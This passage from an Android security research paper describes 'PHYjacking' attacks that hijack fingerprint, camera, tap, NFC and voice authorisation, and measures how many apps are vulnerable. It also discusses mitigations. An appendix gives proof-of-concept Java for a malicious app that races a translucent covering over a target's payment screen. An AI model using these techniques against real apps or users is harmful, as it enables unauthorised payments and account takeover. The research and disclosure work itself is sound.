later. After the device wakeup, there is no stack change, so
there is no checking when the background Activity starts
fingerprint listening.

this process. In practice, waiting for the device to sleep after
setting up the fingerprint and covering Activities may not be
effective, as the user may switch to other Activities during this
period. A better approach is to monitor the ON_SCREEN_OFF
event in the background and launch the attack right before the
device sleeps. To summarize, the Wakeup-bypass can work in
all Android versions, but with the following assumptions:

• The attacker or the malicious app can layout the desired
Activity stack before the device sleeps and wait for the
victim to wake up the device.

• The app’s implementation must contain both the auto-
resume and the no-pause patterns.

Note that we can eliminate the auto-resume assumption by
combining tapjacking in some scenarios.

2) Multiwindow-bypass. We can treat the Multiwindow-bypass
as a variant of the Wakeup-bypass, assuming that the device is
running under the multi-window mode (supported by Android
since version 7 and is commonly used on tablets). Although
multiple Activities are visible to the user in the multi-window
mode, only the top Activity in one active window can be in
the resumed state. We find that there are two scenarios for the
active window to switch from one to another: 1) When the user
taps in the inactive window, it will become active, and the top
Activity in it will be resumed. 2) When the user resizes the
window, the larger window will become active regardless of
which window the user previously was interacting with. When
these two cases happen, the Activity stack does not change but
the Activity status changes and events get triggered. Thus, we
can create an attack similar to the Wakeup-bypass assuming the
device is running in the split-screen mode where two windows
are present. One is the active window with the malicious app
running inside (malicious-window). Another is the adjacent
window where the target victim app will be put into (victim-
window). The workflow of the attack is illustrated in Fig. 8
and the steps for launching the attack are described as follows:

1) The malicious app in malicious-window sets up
the desired Activity stack for the victim-window.

This can be done by starting Activities with the
FLAG_ACTIVITY_LAUNCH_ADJACENT flag.

2) Wait for the user to interact with or enlarge the victim-
window. When it happens, the covering and the target Ac-
tivity underneath are both resumed to enable fingerprint
hijacking without triggering the check-on-stack-change
mitigation.

In practice, the attack can be launched in a phishing fashion:
put a new Activity in the split-screen and disguise it as a
legitimate service feature, e.g., side-by-side reading, to lure
the victim to interact with it.

Malicous app in the
larger split-window

User resize

Inactive
Fingerprint Activity

Active
Fingerprint
Activity

Fig. 8: Illustration of Multiwindow-bypass. When the user
enlarge the upper window, the Activities inside it receive the
onResume event and then fingerprint-jacking happens.

D. One Trick to Rule Them All: the Race-attack

All the attacks mentioned above rely on apps’ failure in
handling physical input cancellation properly. While these
flawed implementation patterns are widespread, one may think
that once developers do things right, PHYjacking should no
longer be a concern. Unfortunately, with the Race-attack we
discovered, this is not true. Furthermore, the Race-attack can
also bypass the check-on-stack-change mitigation in fingerprint
APIs while requiring fewer user interactions comparing to the
aforementioned bypassing techniques. A sample implementa-
tion of a malicious app leveraging the Race-attack is given in
Appendix C.

The Race-attack exploits a race-condition bug in Android
Activity Lifecycle as shown in IV-B3. The bug can be triggered
reliably and the attack can be launched in a deterministic
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manner due to the relatively long racing time window (about
100 msec). Since the bug breaks the Activity lifecycle and
leaves the background Activity in the resumed state, it can be
exploited to bypass the cancel-on-pause mitigation in apps.
Meanwhile, we have found that the check-on-stack-change
mitigation in Android 9+ is also invalidated as the creation
of the covering can be faster than the fingerprint initialization.
So the stack change happens before the mitigation is ready.
With the Race-attack, we can even launch hijacking attacks
against apps using the new BiometricPrompt API, despite
the unified dialog provided in the API has the cancel-on-pause
mitigation. As shown in Fig. 5a, some apps do not set context
information on the dialog and assume that users can see the
underneath host Activity. In this case, while we cannot cover
the dialog without dismissing it, we can insert the malicious
covering between the dialog and the host Activity with the
Race-attack to hide the context.

Table II summarizes all of the attacking techniques de-
scribed above while highlighting their requirements and depen-
dencies for the case of fingerprint-jacking. Red cells are con-
ditions where the attack would not work. An attack technique
with more green cells in its row is more powerful. The table
shows that our new techniques can enable zero-permission
attacks on Android 9 and above, and the most powerful attack
is the Race-attack.

E. Hijacking Other Inputs: Tap, NFC, and Voice

Fingerprint and face capture are two major biometric au-
thentication inputs. However, other physical inputs can also
be involved in authorization processes. Screen touch is the
most common physical input on mobile devices. It is widely
presented as a confirmation button tap in many authorization
scenarios, e.g., Single Sign-On (SSO) and permission granting.
NFC tag reading is another authorization input that is being
used in some apps. The microphone is also a major input
source on mobile, but it is less common for apps to use voice
input during authorization. We manage to find such a use
case in a top-tier social app. In this section, we demonstrate
the possibility of hijacking these alternative inputs via some
interesting examples. Compared to the fingerprint-scanner and
camera API, there tends to be fewer hijacking protections on
these inputs, and similar attack flow can be applied.

a) Zero-permission tapjacking for SSO profile stealing.
Many authorization processes require user consent by tapping
on a particular widget on the screen. As just another physical
input, the screen tap can also be hijacked following the
PHYjacking framework, only that it lures for screen touch
instead of fingerprint scanning. This attack is generally known
as tapjacking. Android provides a security mechanism to
help apps preventing tapjacking. Apps can either detect the
FLAG_WINDOW_IS_OBSCURED flag to determine whether a
screen tap has passed through some covering layer or directly
set the android:filterTouchesWhenObscured attribute to
a widget. However, this protection is disabled by default.
Apps that do not explicitly enable them are left unprotected.
According to our PHYjacking framework, this protection is

considered to be an app mitigation (D) instead of OS protec-
tion (C) since it is not applied globally.

Single Sign-On (SSO) is one of the most common situations
where a single tap is the core authorization action, thus
becoming a sweet tapjacking target. Under the covering layer
of Fig. 5c is the recognizable interface of the “Login with
Facebook” function provided by Facebook. Other apps, as
relying parties (RP), can retrieve user profile information,
including users’ actual identity, from Facebook. Here, Face-
book plays the role of an Identity Provider (IdP). Most IdPs
simplify the authorization process to a single tap if the user
has already logged into the IdP app. This kind of single-button
consent window is the only gate of the authorization process.
Malicious apps can also request user data from IdPs, but users
can notice its intention from the consent window and reject it.
However, if a malicious app can cover the consent page with
another window while passing through tap events, it can easily
trick the victim to tap the confirmation button unintentionally.
Such single tap will grant the malicious app access to the
victim’s private information on the IdP. To make the attack
unnoticeable, we need precise timing to bring the covering to
the front right after the consent window is presented. We have
successfully addressed this challenge by reverse-engineering
the SSO libraries and move logics that cause delays, e.g.,
network requests, to the malicious app. Refer to VI-F3 for
a detailed description.

b) Hijacking NFC tag scanning. Android API for accessing
NFC tags is quite different from fingerprint scanner or camera
APIs. The OS has a specific tag dispatch system [18] that
relies on the intent filtering mechanism to pass some NFC tag
data. Instead of the “open sensor – read data – close sensor”
paradigm used in camera and fingerprint scanner, the NFC
scanner is always in the listening state, and apps only need
to set a receiver that will be triggered when an NFC tag is
scanned. Meanwhile, Android provides neither standard user
interface nor any hijacking protection during NFC scanning.
Although apps cannot cancel NFC scanning, they can stop
tag data reading or interrupt follow-up authorization when in
the background to protect themselves from hijacking. Never-
theless, it is unlikely for app developers to be aware of this
risk and implement the corresponding mitigations. For apps
without any hijacking mitigation, a malicious app can simply
conduct PHYjacking against the NFC reading interface using a
translucent covering. Fig. 5d shows a PHYjacking example in
action which targets a popular mobile wallet app that is waiting
for an NFC tag scanning to complete a payment transaction.

c) Hijacking microphone input. Voice recognition is another
biometric authentication technology. However, it is not as
common among mobile apps when comparing to more mature
solutions like fingerprint scanning and face recognition. Since
the microphone on mobile devices is mainly for general audio
input, the security consideration in the API is not as thorough
as fingerprint APIs. As a general media input device, it follows
a very similar design with the camera API. In other words,
an app needs to close the microphone properly to prevent
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TABLE II: Implementation and Environment Assumptions on Different Fingerprint-Jacking Attacks

Attacks
System

requirement
Implementation flaw

dependency
Implementation pattern

dependency
Attacker capability

requirement
Require

Android Ver.<9
Rely on

never-cancel
Rely on

pause-failure
Require

auto-resume
Require

no-button 1
Require a

malicious app
Malicious app’s

permission

Known
attacks

Trivial-attack 2[14] ✓ ✓ ✓ ✗ ✗ ✗ None
Float-attack [15] ✗ ✗ ✗ ✗ ✗ ✓ SYSTEM ALERT WINDOW3

Dimming-attack [15] ✗ ✗ ✗ ✗ ✓ ✓ WRITE SETTINGS3

New
attacks

Translucent-attack ✓ ✗ ✓ ✗ ✗ ✗ None
Wakeup-bypass ✗ ✗ ✓ ✓ ✗ ✓ None

Multiwindow-bypass ✗ ✗ ✓ ✓ ✗ ✓ None
Race-attack ✗ ✗ ✗ ✗ ✗ ✗ None

1 no-button means no additional interactions like button-tap before fingerprint. ✗ indicates that the attack can still work by combining tapjacking.
2 As details of the attack demonstrated in [14] were not given, some conditions here for Trivial-attack are based on our own testing.
3 Special permissions that require users’ explicit approval. Only before 2019, SYSTEM_ALERT_WINDOW was auto-granted to apps from Google Play [4], [17].

PHYjacking attack. The microphone API even shares the
same security issue we identified for the camera API: an
Activity switched to the background can continue accessing
the microphone, even though official documentation states that
apps can no longer access the microphone in the background
starting from Android 9. Fig. 5e shows it is possible to use a
translucent covering for PHYjacking against a popular social
app which uses voice input for login authentication.

F. Exploring Other Attack Techniques for Impact Escalation

With the attack techniques mentioned above, we already
can construct practical PHYjacking attacks. However, there
are still two limitations. First is the requirement of a malicious
app, even though it is zero-permission. The second is the non-
persistency of translucent covering. Although the attacker can
use the “relaunch when paused” trick to keep it on top, users
can still dismiss it by tapping the home button, which is not
an issue in the “draw over apps” overlay. In this section, we
discuss possible workarounds for these two limitations.

a) Possibility of launching PHYjacking from web pages.
Under certain conditions, PHYjacking attacks can be
launched solely from a malicious web page. To achieve this,
the attacker first needs to find a way to initiate the targeting
authorization process from a web page, with can be done
with remote app linking mechanisms [19], e.g., deep links
(payapp://dopayment?mode=fingerprint). One
common scenario where this can happen is for mobile wallets
to support website payment by registering custom deep link.
The more challenging part is to construct a delusive UI
covering from the web page. This requires the attacker to
find an Activity in an installed app that satisfies 1) being
translucent, 2) can be launched using deep-link or other
remote linking mechanisms from the browser, 3) its content
is (partially) controllable. We call this kind of Activities
covering-gadgets. A potential place for the covering-gadget
to appear is in apps that load external websites in WebView.
Previous research has identified such controllable WebView
Activities in many popular apps [20], but it is unlikely for
most Activities to set the translucent attribute. To investigate
whether such covering-gadgets indeed exist, we conducted
a small scale experiment and were able to find two popular

apps containing potential covering-gadgets. The details are
presented in Appendix A.

b) Escalating to the “draw over apps” permission. Apart
from third-party apps, tapjacking can also apply to some
Android system components. Some permissions are considered
dangerous in Android and only granted if switched on by
users. The overlay permission (SYSTEM_ALERT_WINDOW) is
one such dangerous permission. Apps with this permission
can draw persistent floating windows over other apps. Previous
work has discussed how to abuse this permission for mighty
attacks [4]. It is also known to be exploited by malware
[6]. Google used to grant this permission to apps installed
from Play Store automatically, but later changed to a stricter
policy that only grants it to predominant apps [17]. Although
the switch of some critical permissions like the “a11y” are
generally protected with the tapjacking mitigation mentioned
in VI-E1, we find that the “draw over apps” permission switch
is not protected in Android 11 and earlier versions. Thus, an
attacker can use zero-permission tapjacking to lure the user
to enable this permission. Fig. 5f demonstrates the attack in
action. Since the “draw over apps” overlay is not considered
as an Activity in the stack, the mitigations including the
cancel-on-pause by apps and the check-on-stack-change in the
fingerprint API are both ineffective against malicious overlays
based on it.

c) Precise SSO Hijacking Timing Control. To hide the SSO
window from the user, the malicious app needs to launch the
covering immediately after the SSO Activity appears, which
is non-trivial. Most of the SSO libraries provided by IdPs
display the interface only after completing a few network
communications, introducing non-deterministic delays. If we
launch the covering Activity too soon, the SSO Activity will
become the foreground. If we run it too late, the victim may
notice the covering transition. To achieve the precise timing
control, the malicious app needs to know the state of network
requests. Although researchers have shown that the state can
be inferred from some side channels [21], it is more efficient
and robust to move the network requests from the SSO library
to the malicious app. In this way, the malicious app can
know the exact response time and send Intent messages to
directly invoke the SSO Activity along with the covering.
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Fig. 9: Normal workflow of SSO v.s. attack flow. The mali-
cious app can implement functions of SSO library to directly
invoke SSO Activity for fine timing control.

The Intent message for SSO invocation usually contains some
dynamically fetched parameters and calculated values like
message authentication code (MAC). To correctly forge the
requests and construct the Intent message, the attacker needs
to reverse-engineer the library of the target SSO platform. As a
proof-of-concept, we analyze the library provided by a popular
social platform and show the feasibility of this attack: If we
directly call the SSO library, the authorization window has a
3 to 5 seconds delay, which reduced to less than one second
after moving the network request and Intent invoking logic
into our malicious app. Fig. 9 illustrates the attack flow.

VII. MEASUREMENT STUDY

Many of the attacks we discussed depend on apps imple-
mentation patterns. In some cases, an app with proper imple-
mentation can mitigate the PHYjacking attack. To understand
the real impact of this attack, we design a static analyzer to
automatically examine the implementation of a large number
of apps in practice. As tapjacking can serve as a stepping
stone for other more sophisticated PHYjacking attacks, we
also analyze the apps to see how many of them enable the
optional tapjacking mitigations provided by Android.

A. Check Call Graph for Flawed Implementation Patterns

The correct app implementation that can mitigate the PHY-
jacking risks can be described with one condition: The Activity
opening the input listener immediately close the listener when
it is paused. All other implementation patterns are susceptible

authenticate()

onResume()

startAuth()testAuth()

onPause()

stopAuth()

cancel()

debugFinger()
clearData()

FingerActivity
extends Activity

S1

S2

Fig. 10: Logic of the call graph analyzer with fingerprint API.

TABLE III: API Calls Defined in the Call Graph Analyzer

API Sensor Open Sensor Close
FingerprintManager .authenticate() CancellationSignal.cancel()
Camera2 .openCamera() .close()
Camera .open() .release()
Camera (preview mode) .startPreview() .stopPreview()

to PHYjacking. We can check this condition by analyzing the
call graph of an app with the following algorithm:

1) Locate the sensor opening API call and trace the call
chains backward (reverse reachable) until locating a call
defined inside an Activity, which is the target Activity.

2) Extract forward call chains (reachable) from the
onPause of the target Activity and search for the sensor
closing API call. If the closing call can be located, the
implementation is correct.

3) Optionally, we can search for sensor closing call from
onStop and onDestroy to determine whether it is a
pause-failure or never-cancel flaw.

Fig. 10 illustrates our static analysis algorithm. S1 is
the reverse reachable set of the sensor opening method
(authenticate() in the case of fingerprint API). S2 is the
reachable set from the target Activity’s onPause() method.
After constructing the call graph, the analyzer tries to link
these two sets to determine if the app’s implementation can
mitigate the PHYjacking risks. Table III lists the sensor
opening and closing calls examined by our analyzer. Note
that the BiometricPrompt API is not included because it
provides a unified interface that handles sensor closing for
apps.

Implementation. We extend Androguard [22] to construct the
call graph of an app and perform reachability analysis to deter-
mine whether the app has vulnerable implementation patterns.
We also implement algorithms to extract class hierarchy and
handle Java interfaces to fill some missing links in the call
graph extracted by Androguard. The source code of this tool
is made available on GitHub [23].

Results. We collected 2024 apps that declared the
USE_FINGERPRINT permission and 6324 apps with the
CAMERA permission. We ran 8 call graph analyzer instances
in parallel on a machine with 20 cores (2.4GHz) and 64GB
memory. The average testing time for each app is 77 seconds,
and the average memory consumption is 1201 MB. Table IV
depicts the results. We first exclude about half of the apps
where related calls cannot be located, as well as 42 apps that
trigger unexpected analyzer errors. All these apps are reported
under the “Others” category. Among the remaining 3532
analyzable apps, almost half of them contain implementation
flaws, and a significant portion of them fall into the category
of pause-failure. Note that, flawed implementation found by
the analyzer is not an immediate confirmation of exploitable
vulnerability. Further manual analysis is needed to confirm
the usage scenario and security impact. On the other hand,
even apps with correct implementation can be vulnerable to
the Race-attack. Appendix B provides further breakdown on
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TABLE IV: Analyzer Results on API Implementation Flaws

Target Total Correct pause-failure never-cancel Others

Fingerprint 2024 378 547 34 879

Camera 6324 1428 1118 27 3759

TABLE V: Camera API Usage of Face Recognition Providers

Provider API location API version Input Mode Close cameraPreview Shot Delegate
ArcSoft Official demo Camera 1 Y N N onDestroy
Baidu SDK Camera 1 & 2 Y Y N onPause
iFLYTEK Official demo Camera 1 N N Y Never
Face++ Official demo Camera 2 Y N N onPause
Neuro SDK Camera 2 Y N N Never
Luxand Official demo Camera 1 Y N N onStop
3DiVi Official demo Camera 1 Y N N onDestroy

the “Others” category and describes the dataset. The appendix
also gives an estimation of the false positive rate.

B. Counting Apps with Tapjacking Protection Enabled

As discussed in VI-E1, there are several ways to enable
the tapjacking protection provided by Android. Since those
are either static attributes or single function calls, we use
simple pattern matching to search for apps’ protection. We
randomly sampled 10,000 apps in the market for evaluation.
The result is astonishing: only 403 apps have enabled the
protection for at least one widget. Note that this does not
mean those apps are safe against tapjacking as they may not
enable the protection for all security-sensitive places. After
all, as shown in VI-F2, we have found that even some native
Android modules fail to enable the required protection. Worse
still, while a new FLAG_WINDOW_IS_PARTIALLY_OBSCURED

mechanism has been added in Android 10 to address the
“hollow tapjacking” attack [6] (which exploited inadvertent
settings of the FLAG_WINDOW_IS_OBSURED flag), none of the
10,000 apps we evaluated set this new protection flag.

C. Protection in Face Recognition Libraries

Apart from apps using the camera, it is also revealing to
evaluate the security of libraries and demo programs provided
by face-based authentication service providers. Recently, many
new businesses provide cloud or offline face recognition
support on mobile devices. We collect Software Development
Kits (SDKs) and official demos from various mainstream
face recognition service providers and analyze their camera-
input implementation patterns. As shown in Table V, some of
these SDKs take care of calling the camera API while others
only accept images and rely on the app to call the camera
API. Meanwhile, most of them also provide official demo
apps as reference implementations. We check whether those
SDKs and their official demo apps contain the aforementioned
implementation pitfalls when handling the camera API calls.
We found that only one out of five providers has the correct
cancel-on-pause mechanism in the demo app. Two providers
wrap camera API calls in their SDKs, but one of them fails to
handle it correctly, which renders all the apps using the SDK
susceptible to facejacking.

Fingerprint

Camera /  
Microphone

Touchscreen

Android 6.0 ~ 7.1

(a) FingerprintManager API is available

Android 9

(b) Mitigation: check-on-stack-change

Android 10 ~ 11Android 8.x

(d) 2021 Jan patch: after our report of CVE-2020-27059

(c) BiometricPrompt API is available

Android 12 +

(h) Tapjacking mitigation FLAG_WINDOW_IS_OBSCURED is available, disabled by default

(i) Add FLAG_WINDOW_IS_PARTIALLY_OBSCURED 

(j) System-wide tapjacking protection

(e) Camera, Camera2, MediaRecorder are available

(f) Forbid background access

(g) Privacy indicator

New API New security feature Security patch

API level 23 API level 26 API level 28 API level 29 API level 31

Fig. 11: Security updates in Android physical input APIs.

VIII. DISCUSSION ON MITIGATIONS

Fig. 11 summarizes the security related changes in major
physical input APIs across different Android versions, includ-
ing the latest Android 12. Details on some of these changes
have been discussed in V.

Google has released a patch (Fig. 11(d)) for the fingerprint
API on Android 8 to 11 in January 2021 to fix the vulnerability
reported by us. The patch adds a foreground checking on each
authentication and can effectively mitigate all of our zero-
permission fingerprint-jacking attacks. However, this checking
cannot mitigate attacks with the “draw over apps” overlay.
We speculate there might be usability considerations like
supporting fingerprint authentication during a video call. One
possible mitigation is to introduce an additional protection
mechanism that temporarily hides all overlays whenever the
fingerprint scanner is active.

Android 12 introduces a global indicator for camera and
microphone access (Fig. 11(g)) to address privacy concerns.
While this can make PHYjacking less stealthy, a malicious
app can still confuse the victim by, e.g., convincing the victim
that the microphone is activated by the malicious app itself
for some legitimate purpose. There are several comprehensive
UI protection mechanisms proposed in recent research papers
[24]–[26]. However, none of them have been integrated into
Android, possibly due to side effects on usability or imple-
mentation complexity. The way Google has patched related
issues seems to indicate that, for a mitigation to be integrated
into Android, it should be the least noticeable to users and
introduce minimum code changes. To prevent PHYjacking
attacks, Android can apply similar mechanism in the finger-
print API to other sensor APIs like camera and microphone
to ensure the visibility of the sensor-using Activity. Apps that
need background access to those sensors should request special
permissions from the system.

For end users, upgrading to Android 12 or installing the
security patch on Android 8 to 11 (Fig. 11(d)) can mitigate
zero-permission fingerprint-jacking attacks. Devices running
Android 11 or earlier without the patch are vulnerable because
different attacks are still applicable as shown in Table II.
Camera and microphone PHYjacking risks continue to be
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present on all Android versions but the privacy indicator
on Android 12 (Fig. 11(g)) may help victims to spot such
attacks. While Android has made available for years optional
tapjacking protections (Fig. 11(h,i)), they have received lit-
tle adoption by app developers per our measurement study
in VII-B. The system-wide, activated by default, tapjacking
protection (Fig. 11(j)) offered by Android 12 can serve as a
more foolproof solution.

IX. RELATED WORK

PHYjacking can be considered as a “Confused Deputy”
attack where the user acts as the confused deputy whose
authority in the form of physical inputs gets misused. An-
droid security researchers have proposed several UI confusion
techniques to enable attacks like phishing, tapjacking, and
keyboard logging. Many recent attacks [4], [27], [28] exploit
the “draw over apps” window as the delusive overlay. Beyond
that, authors of [20] perform a comprehensive study on the
possibility of launching Android UI attacks from web pages.
[7] analyzes the Android task state transition model and iden-
tifies several ways to confuse the task stack manager. The false
transparency attack introduced in [29] confuses the user with
a visually transparent malicious app for Android permission
phishing. Yet, all these prominent works do not investigate
the impact on other physical inputs except screen touching.
Due to stringent protection mechanisms in some physical-
input interfaces like fingerprint-scanning, UI confusion alone
is insufficient for realizing attacks. PHYjacking often requires
confusing the OS or apps for mitigation bypass, like in
the Race-attack. Various detection and defense mechanisms
against Android UI attacks have been proposed recently [25],
[26], [30]–[32]. Nevertheless, they are not officially adopted
by Android, possibility due to side effects on usability or
implementation complexity.

The use of fingerprint scanner in Android apps is a relatively
new feature and thus not a well-researched topic by the
security community. To the best of our knowledge, [14] is the
first UI confusion attack targeting fingerprint with a working
demonstration, but Android fingerprint API has introduced
many changes since then. A more recent study [15] focuses
on Android 7 introduces fingerprint UI attacks with floating-
window or screen-dimming tricks, both requiring special app
permissions. As for camera, the floating-window is also ex-
ploited by [16] to hijack the camera app in Android and take
photos without permission. In our work, we not only study
general physical inputs hijacking but also investigate mitiga-
tion weaknesses and propose new zero-permission attacks.

In terms of general hardware resource hijacking on Android,
the most relevant work is [33], which models the Resource
Race Attack where one app may preempt some exclusive
hardware resource from another. They introduce attacks on
Android against the camera and touchscreen, but do not cover
the rest of sensors we study. Besides, they target privacy
leakage attacks like photo stealing via existing UI attack
techniques like the “draw over apps” window. In contrast, our
focus is on authorization hijacking.

X. CONCLUSION

In this paper, we propose a general framework to real-
ize practical authorization hijacking attacks targeting various
physical inputs including fingerprint scanning, face recog-
nition, etc.. We introduce various new attack techniques,
including exploiting common implementation flaws in Android
apps, bypassing recent mitigations introduced by Android, and
a powerful race-condition attack that can break the Android
Activity Lifecycle model. We also discuss other impactful
attacks like SSO hijacking and overlay permission escalation.
Via automatic and manual analyses, as well as proof-of-
concept malicious apps against prominent service-apps, we
demonstrate the practicality of PHYjacking and their critical
security impact.
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APPENDIX

A. Experiment on searching for covering-gadgets

To investigate the feasibility of launching PHYjacking at-
tacks from web pages, we randomly pick 50 popular apps
from our database, each with more than 10 million downloads.
Then, we follow a three step filtering process:

1) Parse AndroidManimest.xml to find all exported (both
explicit and implicit) Activities.

2) Resolve the associated theme of the Activity and deter-
mine whether the translucent attribute is enabled.

3) Analyze the exported and translucent Activities and iden-
tify those whose content is externally controllable.

We automate the first two steps by building an Activity
property parser and perform the third step via reverse engi-
neering and manual testing. Among the 50 apps under test,
our tool reported 358 Activities that were both exported and
translucent, with one app having 24 such Activities and 3 apps
having none. Then, given a 10-hour time budget, one of our
team members tried to look for Activities whose visual content
can be manipulated externally. In the end, he was able to find
two manipulatable Activities. One is from a news app with
over 10 million downloads, which can be exploited to create a
dialog with arbitrary title and description. Another is from an
education app with over 90 million downloads where we have
partial control of the text displayed. Such covering-gadgets
can be exploited to launch PHYjacking from web pages. We
believe with additional time, adversaries can identify more and
better covering-gadgets, e.g., where a malicious remote image
or web page can be loaded.

B. More Details on the Static Analysis Results

The 2024 apps with fingerprint permission and the 6324
apps with camera permission are extracted from a set of
20,000 apps, which are uniformly sampled from the set of
apps hosted by several third party app markets including
apkpure, an unofficial mirror of Google Play and wandoujia,
a major app market in Mainland China. About half of the
apps with corresponding permissions were reported as not
calling the related physical APIs from any Activities. There
are several possible cases: 1) apps indeed never access related
sensors/physical interfaces but have permission over-claim ;
2) apps are packed or call the sensor API in native code and
3) the static analyzer fails to link the API call back to an
Activity due to incomplete call graph construction caused by
algorithm limitations, e.g., in handling implicit calls. Take the
Camera API for example, for a total of 6324 apps, 3175 apps
belong to the first two cases, while 566 apps fall into the third
category. We directly exclude all these apps in our evaluation
and thus eliminate their effect on the distribution of the dataset.
The incompleteness of extracted call graph can also lead to
false positives (FP) in the pause-failure category. To estimate
the FP rate, we manually verified 40 uniformly sampled apps
from this category and found only 4 cases of FP. This is
expected since sensor-close calls are usually straightforward
and can be correctly analyzed. Considered this estimated FP

rate (10%), the total percentage of apps with implementation
flaws is adjusted downward from 48.9% to 44.1%.

C. Core implementation of the attack

The malicious app consists of two major components. One
is the main Activity, where some disguising functions are
implemented and the attack is only launched when appropriate.
Another is the covering Activity, which acts as the delusive
covering during the authorization hijacking. Listing 2 and
Listing 3 show the code skeleton of two sample target apps.
Listing 4 depicts the code for a simplified implementation
of PHYjacking against target apps based on the Race-attack.
The implementation includes additional tricks like killing the
target app process to lengthen the race window, as well as the
support of optional tapjacking. The same techniques can be
used to launch facejacking, voicejacking, etc., on other target
apps. Following this template, we have realized several proof-
of-concept attacks against various real-world apps. To further
demonstrate the viability and stealthy nature of the attack, we
also provide a video under the blind test arrangement, where
readers can try to distinguish between the normal app and the
attack version. All the demonstration videos can be found in
[35].

1 /** FingerprintPaymentActivity.java (app: com.targetapp)
2 * Activity for authenticating payment with fingerprint
3 * (with android.exported set to true)
4 */
5 public class FingerprintPaymentActivity extends Activity{
6 private FingerprintManager fingerprintManager;
7 CancellationSignal cancellationSignal;
8

9 @Override
10 protected void onResume() {
11 super.onResume();
12 initFinger();
13 }
14

15 @Override
16 protected void onPause() {
17 super.onPause();
18 // app has the correct cancel−on−pause behavior
19 cancellationSignal.cancel();
20 }
21

22 public void initFinger() {
23 cancellationSignal = new CancellationSignal();
24 Cipher cipher = generateCipher();
25 CryptoObject cryptoObject = new CryptoObject(cipher);
26 fingerprintManager.authenticate(cryptoObject,
27 cancellationSignal, 0, callback, null);
28 }
29

30 AuthenticationCallback callback = new AuthenticationCallback() {
31 @Override
32 public void onAuthenticationSucceeded(AuthenticationResult

result) {
33 super.onAuthenticationSucceeded(result);
34 proceedToPayment(); // where actual payment happens
35 }
36 };
37

38 }

Listing 2: The code of the fingerprint-based payment Activity
in a sample app to be attacked by the malicious app in Listing 4
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1 /** CameraAuthActivity.java (app: com.targetapp)
2 * Activity for camera−based authorization
3 * (with android.exported set to true)
4 */
5 public class CameraAuthActivity extends Activity{
6 private FingerprintManager fingerprintManager;
7 CancellationSignal cancellationSignal;
8

9 @Override
10 protected void onCreate(Bundle savedInstanceState) {
11 super.onCreate(savedInstanceState);
12 /* setup preview UI and listener (omitted) */
13 takePictureButton.setOnClickListener(new View.

OnClickListener() {
14 @Override
15 public void onClick(View v) { takePicture(); }
16 });
17 }
18

19 protected void takePicture() {
20 // get an image from preview frames
21 // and proceed to authorization
22 // (code omitted)
23 }
24

25 @Override
26 protected void onResume() {
27 super.onResume();
28 startPreviewThread();
29 openCamera();
30 }
31

32 @Override
33 protected void onPause() {
34 super.onPause();
35 closeCamera(); // correct cancel−on−pause mitigation
36 stopPreviewThread();
37 }
38 }

Listing 3: The code skeleton of the camera-based authorization
Activity in a sample app to be attacked by the malicious app
in Listing 4

1 /** MainActivity.java (app: com.maliciousapp)
2 * entrence (disguised) Activity of the malcious app
3 * launch the attack when appropriate
4 */
5 public class MainActivity extends Activity{
6

7 /** Entry point when the user run the malicious app
8 * launch PHYjackng once the malicious app is runnning
9 */

10 @Override
11 protected void onCreate(Bundle savedInstanceState) {
12 super.onCreate(savedInstanceState);
13 launchAttack()
14 }
15

16 /** Core attack code
17 * start the target Activity
18 * immediately cover it with the malicious one
19 */
20 public void launchAttack() {
21 // set the target intent, with Activity or deep−link
22 final Intent targetIntent = new Intent();
23 targetIntent.setComponent(new ComponentName(”com.targetapp”, ”

com.targetapp.TargetActivity”)); // see Listing 2 & 3
24 targetIntent.setFlags(Intent.FLAG ACTIVITY NO ANIMATION);
25

26 final Intent coverIntent = new Intent(this, CoveringActivity.class);
27 coverIntent.setFlags(Intent.FLAG ACTIVITY NO ANIMATION);
28

29 Intent[] intents = {targetIntent, coverIntent};
30

31 // [optional trick] kill target first for longer race window
32 ActivityManager am = (ActivityManager) getSystemService(

Activity.ACTIVITY SERVICE);
33 if (am != null) { am.killBackgroundProcesses(targetApp); }
34

35 /* launch two intents back−to−back for race−attack */
36 delayedStart(intents, 0); // launch two intents asynchronously
37

38 // startActivities(intents); // or simply use startActivities and
comment out line 32−36

39 }
40

41 private void delayedStart(Intent[] intents, int delay) {
42 final Intent targetIntent = intents[0], coverIntent = intents[1];
43 startActivity(targetIntent);
44 final Handler coverHandler = new Handler();
45 Runnable coverRunnable = new Runnable() {
46 @Override
47 public void run() { startActivity(coverIntent); }
48 };
49 coverHandler.postDelayed(coverRunnable, delay);
50 }
51 }
52

53 /** CoverActivity.java: malicious covering with translucent property
54 * the translucent property should to be set by adding the follwing line

in AndroidManifest.xml
55 * android:theme=”@android:style/Theme.Translucent.NoTitleBar.

Fullscreen”
56 */
57 public class CoveringActivity extends Activity {
58 @Override
59 protected void onCreate(Bundle savedInstanceState) {
60 /* the covering needs to have the translucent property
61 set in the AndroidManifest.xml */
62 /* [only for tapjacking] enable tap−through */
63 getWindow().addFlags(WindowManager.LayoutParams.

FLAG NOT TOUCH MODAL
64 | WindowManager.LayoutParams.FLAG NOT TOUCHABLE);
65 // ... other delusive UI setup ...
66 }
67

68 @Override
69 protected void onPause() {
70 /* [optional trick for tapjacking] keep the covering on−top */
71 startActivity(getIntent());
72 super.onPause();
73 }
74 }

Listing 4: The implementation of a sample malicious app
which leverages the Race-attack for PHYjacking
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